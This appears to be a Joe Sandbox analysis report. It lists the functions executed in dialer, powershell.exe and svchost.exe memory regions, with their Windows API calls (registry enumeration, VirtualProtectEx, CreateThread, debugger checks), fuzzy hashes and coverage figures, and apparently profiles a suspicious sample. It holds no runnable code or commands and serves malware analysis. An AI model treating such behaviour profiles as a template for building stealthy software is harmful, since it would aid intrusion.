Associated: 00000022.00000002.2197088612.00007FF724A53000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000022.00000002.2197371587.00007FF724A56000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_7ff724a50000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 2932c76e980009a225b48c98ed69798072b802092a4ae1a9bffd161348126381
Instruction ID: 8c38969811d30d2f6fbf6bd1fdbf2e86a05240aa6565e78ccbf48f322f169ea4
Opcode Fuzzy Hash: 2932c76e980009a225b48c98ed69798072b802092a4ae1a9bffd161348126381
Instruction Fuzzy Hash: 2BD0A794F1650381EE0A7F736DD54708230EF88B40BD40030CD1E45302DE2CD0948B20

Analysis Process: powershell.exePID: 2132, Parent PID: 4380COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.5%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFEB86F3F00 Relevance: 1.7, APIs: 1, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 00007FFEB8705B8F

Memory Dump Source

Source File: 00000023.00000002.1875600865.00007FFEB86F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB86F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb86f0000_powershell.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 0a0b64dafbb305dd6163b3cd2b94444e11978273b7d4b67f827b7d6a9a1df81d
Instruction ID: fe1bb4a619d5fb315e875d870e46001543dabaaf787aa2d0374faff8e14e98a3
Opcode Fuzzy Hash: 0a0b64dafbb305dd6163b3cd2b94444e11978273b7d4b67f827b7d6a9a1df81d
Instruction Fuzzy Hash: E8412431D0CA5E4FEB64DB2C88456F97BE1FF55328F04027AD04DD32A2DB68A546CB85

Function 00007FFEB86F98FB Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00007FFEB86FA947

Memory Dump Source

Source File: 00000023.00000002.1875600865.00007FFEB86F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB86F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb86f0000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1e9652c66f89ba07c768e01d25ac85c7890f0e74a02e6120d232932ca0bf6c2e
Instruction ID: 4dc0fe8026424213537f7997af1f9fdd633a856ce6d0fc20a0403e6b7c81f6fb
Opcode Fuzzy Hash: 1e9652c66f89ba07c768e01d25ac85c7890f0e74a02e6120d232932ca0bf6c2e
Instruction Fuzzy Hash: 7D318031908A1C9FDB58DB9CD849AF9BBE0FF65321F00422ED04AD3652DB70A8068B81

Function 00007FFEB8D11647 Relevance: .4, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.1924112397.00007FFEB8D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a557665ff050ed70e3c0df5dd0ea5c9cc32a972d35ea365e6c1a42f4ab2cc3d
Instruction ID: 6c02209c99af4effb49e7b8d6736ff0e6b5ebd6f26fff22e1ce0382b796431de
Opcode Fuzzy Hash: 5a557665ff050ed70e3c0df5dd0ea5c9cc32a972d35ea365e6c1a42f4ab2cc3d
Instruction Fuzzy Hash: 1CC14B3091CA464FEB19EB2C84066B577E1EF41300F5406BED58E872E3DE29B94BC785

Function 00007FFEB89456B1 Relevance: .2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.1893734244.00007FFEB8940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c068454242985cf540fe722768cacee0c383fcde23e23026dcae2ed41358e30
Instruction ID: f416ea18d46f1f4ac12d6241a821adb178b337ae12e1ae21992403ba9ef67478
Opcode Fuzzy Hash: 0c068454242985cf540fe722768cacee0c383fcde23e23026dcae2ed41358e30
Instruction Fuzzy Hash: A9517B3191894E8FEFA4DB9884557FE7BE1EF58316F14017AD50DE32B1CA38A981C784

Function 00007FFEB8D11675 Relevance: .1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.1924112397.00007FFEB8D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02b542e65b98400f1d55969b1be1491d76407bca44a24a14b4179efe3d5f593
Instruction ID: d5b1edb2231ffcebf1326e5ddc4e71a9c5c7d6e7c3c277cedcf25d33f5c8a3cb
Opcode Fuzzy Hash: b02b542e65b98400f1d55969b1be1491d76407bca44a24a14b4179efe3d5f593
Instruction Fuzzy Hash: EB316270A1CA498BDB58EF1C904596AB7E1FF98340F50467DF44EC32A7CE24F84A8B46

Function 00007FFEB8942C55 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1893734244.00007FFEB8940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20248bfc3c8ca99d064cd115870e5273ef30d5e77a58563fe183d6a4ab0ced0c
Instruction ID: 52f35ccfaa7de199944cd1319d90fbd3d04ea01786e7778c584cea2447d3e2bc
Opcode Fuzzy Hash: 20248bfc3c8ca99d064cd115870e5273ef30d5e77a58563fe183d6a4ab0ced0c
Instruction Fuzzy Hash: FE21FC7150EACD2FD7469778485A5EA7FD5DF9A22070902FFE488CB163CE1844878351

Function 00007FFEB8E62DF9 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1939868070.00007FFEB8E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bab49c73dbf6f29c01eaf73a102416dc484111331defc3a830da2424d5dc497
Instruction ID: 0837e9d238ecf58d8158369a8ae8b9eebcbe7827985539d29c8e7089cf0deab4
Opcode Fuzzy Hash: 1bab49c73dbf6f29c01eaf73a102416dc484111331defc3a830da2424d5dc497
Instruction Fuzzy Hash: 91112421A1CD4B0FE79AA35C58556F776D1EF95310B4001BAD90EC32A7DD6CAD024345

Function 00007FFEB8942CA0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1893734244.00007FFEB8940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c642cb9f7d79fc4540abaf0a2075f042c1efeee121e366a3a0acc4c79045a75e
Instruction ID: 90f19896c26388700affed15debf73070bf273c5178185bd8a066ca559e8f043
Opcode Fuzzy Hash: c642cb9f7d79fc4540abaf0a2075f042c1efeee121e366a3a0acc4c79045a75e
Instruction Fuzzy Hash: E101FC7140EACC2FD745EB78485A9EB7FE5DF9A360B0C01EEE8489B152C56854878391

Function 00007FFEB8D10927 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1924112397.00007FFEB8D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8d10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2feabb4e6002e85d6eba7f37b996bd9f8bde96dd9db3e322f5b860f8d4cc9012
Instruction ID: 91b342ae2efb153cd04ad4726d5a48221f3575ec14dd6f9da14659b1e4c9c741
Opcode Fuzzy Hash: 2feabb4e6002e85d6eba7f37b996bd9f8bde96dd9db3e322f5b860f8d4cc9012
Instruction Fuzzy Hash: 7BF0B432A0CA048EEB48F71CB4068F8B7D0FF46320B18807EE14DC32A3DE25A8438745

Function 00007FFEB8945771 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1893734244.00007FFEB8940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFEB8940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffeb8940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66b4a5716ab4fec84677c2c307f40d8c978fdcf3aa49fba4a57a375c1e726712
Instruction ID: ed844f40453708365a38d9b6387378ce6cb5c597d53d6eb72cd28df2f7e99efb
Opcode Fuzzy Hash: 66b4a5716ab4fec84677c2c307f40d8c978fdcf3aa49fba4a57a375c1e726712
Instruction Fuzzy Hash: E7E01231F1481E4EAFA4F76C90456FE67E2EFC8365F4502B6E50ED3256DD2458564380

Analysis Process: svchost.exePID: 728, Parent PID: 2092COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.6%
Total number of Nodes:	1524
Total number of Limit Nodes:	3

Executed Functions

Function 0000022C35FD1650 Relevance: 30.2, APIs: 20, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000022C35FD165B
RtlAllocateHeap.NTDLL ref: 0000022C35FD166A

Part of subcall function 0000022C35FD1274: GetProcessHeap.KERNEL32 ref: 0000022C35FD127A
Part of subcall function 0000022C35FD1274: RtlAllocateHeap.NTDLL ref: 0000022C35FD1289
Part of subcall function 0000022C35FD1274: GetProcessHeap.KERNEL32 ref: 0000022C35FD12A3
Part of subcall function 0000022C35FD1274: RtlAllocateHeap.NTDLL ref: 0000022C35FD12B4

RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD16DA
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD1707
RegCloseKey.ADVAPI32 ref: 0000022C35FD1721
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD1741
RegCloseKey.ADVAPI32 ref: 0000022C35FD175C
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD177C
RegCloseKey.ADVAPI32 ref: 0000022C35FD1797
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD17B7
RegCloseKey.ADVAPI32 ref: 0000022C35FD17D2
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD17F2
RegCloseKey.ADVAPI32 ref: 0000022C35FD180D
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD182D
RegCloseKey.ADVAPI32 ref: 0000022C35FD1848
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD1868
RegCloseKey.ADVAPI32 ref: 0000022C35FD1883
RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD18A3
RegCloseKey.ADVAPI32 ref: 0000022C35FD18BE
RegCloseKey.ADVAPI32 ref: 0000022C35FD18C8

Part of subcall function 0000022C35FD12C8: RegQueryInfoKeyW.ADVAPI32 ref: 0000022C35FD1326
Part of subcall function 0000022C35FD12C8: GetProcessHeap.KERNEL32 ref: 0000022C35FD1334
Part of subcall function 0000022C35FD12C8: RtlAllocateHeap.NTDLL ref: 0000022C35FD1345
Part of subcall function 0000022C35FD12C8: RegEnumValueW.ADVAPI32 ref: 0000022C35FD13A1
Part of subcall function 0000022C35FD12C8: GetProcessHeap.KERNEL32 ref: 0000022C35FD13E9
Part of subcall function 0000022C35FD12C8: RtlAllocateHeap.NTDLL ref: 0000022C35FD13F7
Part of subcall function 0000022C35FD12C8: GetProcessHeap.KERNEL32 ref: 0000022C35FD141B
Part of subcall function 0000022C35FD12C8: HeapFree.KERNEL32 ref: 0000022C35FD1429
Part of subcall function 0000022C35FD12C8: lstrlenW.KERNEL32 ref: 0000022C35FD1432
Part of subcall function 0000022C35FD12C8: GetProcessHeap.KERNEL32 ref: 0000022C35FD1440
Part of subcall function 0000022C35FD12C8: RtlAllocateHeap.NTDLL ref: 0000022C35FD144E

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Allocate$EnumFreeInfoQueryValuelstrlen
String ID:
API String ID: 194202978-0
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 7b960fd78b9c13f2a688d6cbd54b87c396f44c3a4f7688b3a05ac4c160998ff0
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: 48711936310A50A5EB10EFA5E888A9D27A5FB8CBCCF10A951DE4D87B6DDF3AC544C700

Function 0000022C35FD3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000022C35FD347A
PathFindFileNameW.SHLWAPI ref: 0000022C35FD3489

Part of subcall function 0000022C35FD3930: StrCmpNIW.SHLWAPI ref: 0000022C35FD3948

Part of subcall function 0000022C35FD3878: GetModuleHandleW.KERNEL32 ref: 0000022C35FD3886
Part of subcall function 0000022C35FD3878: GetCurrentProcess.KERNEL32 ref: 0000022C35FD38B4
Part of subcall function 0000022C35FD3878: VirtualProtectEx.KERNEL32 ref: 0000022C35FD38D6
Part of subcall function 0000022C35FD3878: GetCurrentProcess.KERNEL32 ref: 0000022C35FD38F4
Part of subcall function 0000022C35FD3878: VirtualProtectEx.KERNEL32 ref: 0000022C35FD3915

CreateThread.KERNEL32 ref: 0000022C35FD34D7

Part of subcall function 0000022C35FD1EB4: GetCurrentThread.KERNEL32 ref: 0000022C35FD1EBF

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 818428233ae0a795f618923fab864edbc844ccd300c9eaabbd37099dcca37400
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: B1113961714601B2FB61E7A5B90E7AD22D0EB5D3C8F64CDA59B46C61D8EF7FC0448210

Function 0000022C35FD1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000022C35FD1650: GetProcessHeap.KERNEL32 ref: 0000022C35FD165B
Part of subcall function 0000022C35FD1650: RtlAllocateHeap.NTDLL ref: 0000022C35FD166A
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD16DA
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD1707
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD1721
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD1741
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD175C
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD177C
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD1797
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD17B7
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD17D2
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD17F2

Sleep.KERNEL32 ref: 0000022C35FD1C43
SleepEx.KERNEL32 ref: 0000022C35FD1C49

Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD180D
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD182D
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD1848
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD1868
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD1883
Part of subcall function 0000022C35FD1650: RegOpenKeyExW.ADVAPI32 ref: 0000022C35FD18A3
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD18BE
Part of subcall function 0000022C35FD1650: RegCloseKey.ADVAPI32 ref: 0000022C35FD18C8

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocateProcess
String ID:
API String ID: 462584604-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: e8bde8628f75b3adddb4ac44f8f6d6e08650b4111c915c23c25b82ea58b5b813
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: D031F126300A81B1FB50FFF6E54975E13E5EB4CBC5F24D8A19E09C769DDF16C4509250

Non-executed Functions

Function 0000022C35FD7E70 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000022C35FD7E8C
RtlCaptureContext.NTDLL ref: 0000022C35FD7EB9
RtlLookupFunctionEntry.NTDLL ref: 0000022C35FD7ED3
RtlVirtualUnwind.NTDLL ref: 0000022C35FD7F14
IsDebuggerPresent.KERNEL32 ref: 0000022C35FD7F68
SetUnhandledExceptionFilter.KERNEL32 ref: 0000022C35FD7F89
UnhandledExceptionFilter.KERNEL32 ref: 0000022C35FD7F94

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: e46510b3326c06cc88bcfe209d5d021a61c3e29661c056562c3a61b8a626bc0f
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: D8314372305B8099EB60DFA4E8447ED73A4F78C784F54886ADA4D87B98EF39C548C710

Function 0000022C35FDB50C Relevance: 9.1, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.NTDLL ref: 0000022C35FDB585
RtlLookupFunctionEntry.NTDLL ref: 0000022C35FDB59D
RtlVirtualUnwind.NTDLL ref: 0000022C35FDB5D8
IsDebuggerPresent.KERNEL32 ref: 0000022C35FDB611
SetUnhandledExceptionFilter.KERNEL32 ref: 0000022C35FDB61B
UnhandledExceptionFilter.KERNEL32 ref: 0000022C35FDB626

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: 6aa33bff57b712ca8f27dc5906ba7c40ff8485c21df58f8cda20e913993daace
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 2731A432304F80A6DB60CF65E84879E73A4F78C794F604956EA9D87BA8DF39C545CB00

Function 0000022C35FDFEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000022C35FDFF67
WriteFile.KERNEL32 ref: 0000022C35FE021E
WriteFile.KERNEL32 ref: 0000022C35FE0270
GetLastError.KERNEL32 ref: 0000022C35FE0372
GetLastError.KERNEL32 ref: 0000022C35FE03D2

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: 96299847121f5b895c4fa77f926da09714b9f5d0257b93ad554a5adb93093c00
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: 18E1F132704A80ABE701CFA4D4882DD7BB5F34D7C8F648956DF4A97B99DA3AC916C700

Function 0000022C35FD2CDC Relevance: 7.8, APIs: 5, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022C35FD2D80
lstrlenW.KERNEL32 ref: 0000022C35FD2FBA

Part of subcall function 0000022C35FD1A14: OpenProcess.KERNEL32 ref: 0000022C35FD1A3A
Part of subcall function 0000022C35FD1A14: K32GetModuleFileNameExW.KERNEL32 ref: 0000022C35FD1A58
Part of subcall function 0000022C35FD1A14: PathFindFileNameW.SHLWAPI ref: 0000022C35FD1A67
Part of subcall function 0000022C35FD1A14: lstrlenW.KERNEL32 ref: 0000022C35FD1A73
Part of subcall function 0000022C35FD1A14: StrCpyW.SHLWAPI ref: 0000022C35FD1A86
Part of subcall function 0000022C35FD1A14: CloseHandle.KERNEL32 ref: 0000022C35FD1A94

GetProcAddress.KERNEL32 ref: 0000022C35FD2D95

Part of subcall function 0000022C35FD1554: StrCmpIW.SHLWAPI ref: 0000022C35FD1585

Part of subcall function 0000022C35FD3930: StrCmpNIW.SHLWAPI ref: 0000022C35FD3948

StrCmpNIW.SHLWAPI ref: 0000022C35FD2DD8
lstrlenW.KERNEL32 ref: 0000022C35FD2F00

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID:
API String ID: 2119608203-0
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 7a26299b0098e3e2eb5fa3fb67f9434d174bd3889ed35a8c957eaee66a419cd5
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: 79B18F62310A90A2EB55DFA5D4487ADA3E4F74CBC8F64D896EE4993798DF36CD40C380

Function 0000022C35FDBE3C Relevance: 1.6, APIs: 1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be94a610b278d4561b7c220ec9190d73b31c2b82deb3cd86083bedb6f088a8c3
Instruction ID: 082bdc61c4a2bb64d4942ab19ef3b6e719c9ff42dfd14d377347ff363dfff0fd
Opcode Fuzzy Hash: be94a610b278d4561b7c220ec9190d73b31c2b82deb3cd86083bedb6f088a8c3
Instruction Fuzzy Hash: CD51D522714790A4F720DBB6A90839E7BE5F74DBD4F248A55EE9887B99CB3AC101C700

Function 0000022C35FE20A0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c472934a709f1b1001af0d924fa8e09930e5dba58a63be07c7f312c63124a0d7
Instruction ID: 9ac8d3dcc9e0bcb90ebbe174397eaf4d2a071d6df9152f38286128a8b6eb1565
Opcode Fuzzy Hash: c472934a709f1b1001af0d924fa8e09930e5dba58a63be07c7f312c63124a0d7
Instruction Fuzzy Hash: 94F04F727142949AEBA4DF6CB90761D77A0F30C3C4F908859D689C3A08D63D90609F08

Function 0000022C35FD12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000022C35FD1326
GetProcessHeap.KERNEL32 ref: 0000022C35FD1334
RtlAllocateHeap.NTDLL ref: 0000022C35FD1345
RegEnumValueW.ADVAPI32 ref: 0000022C35FD13A1

Part of subcall function 0000022C35FD1554: StrCmpIW.SHLWAPI ref: 0000022C35FD1585

GetProcessHeap.KERNEL32 ref: 0000022C35FD13E9
RtlAllocateHeap.NTDLL ref: 0000022C35FD13F7
GetProcessHeap.KERNEL32 ref: 0000022C35FD141B
HeapFree.KERNEL32 ref: 0000022C35FD1429
lstrlenW.KERNEL32 ref: 0000022C35FD1432
GetProcessHeap.KERNEL32 ref: 0000022C35FD1440
RtlAllocateHeap.NTDLL ref: 0000022C35FD144E
StrCpyW.SHLWAPI ref: 0000022C35FD1470
GetProcessHeap.KERNEL32 ref: 0000022C35FD1485
HeapFree.KERNEL32 ref: 0000022C35FD1493

Strings

d, xrefs: 0000022C35FD1365

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$Allocate$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2772000396-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: ebada7530e1c9ff6aedf44639ab9e8953df5a9bf197d4819a10392d61654762e
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: 6C515A72604B84A2EB14DFA2E94C7AEB3A1F78DBC0F148568DA4987B58DF3DD055C740

Function 0000022C35FD104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000022C35FD10AB
RegEnumValueW.ADVAPI32 ref: 0000022C35FD110E
GetProcessHeap.KERNEL32 ref: 0000022C35FD1155
RtlAllocateHeap.NTDLL ref: 0000022C35FD1163
GetProcessHeap.KERNEL32 ref: 0000022C35FD1187
HeapFree.KERNEL32 ref: 0000022C35FD1195

Strings

d, xrefs: 0000022C35FD10CE

Memory Dump Source

Source File: 00000030.00000002.1972912896.0000022C35FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022C35FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_22c35fd0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocateEnumFreeInfoQueryValue
String ID: d
API String ID: 1572912380-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: 27144b464f81751cc5f11b9de0dca75412c2dbb94ca6bafc29ca313dbd3bdb04
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
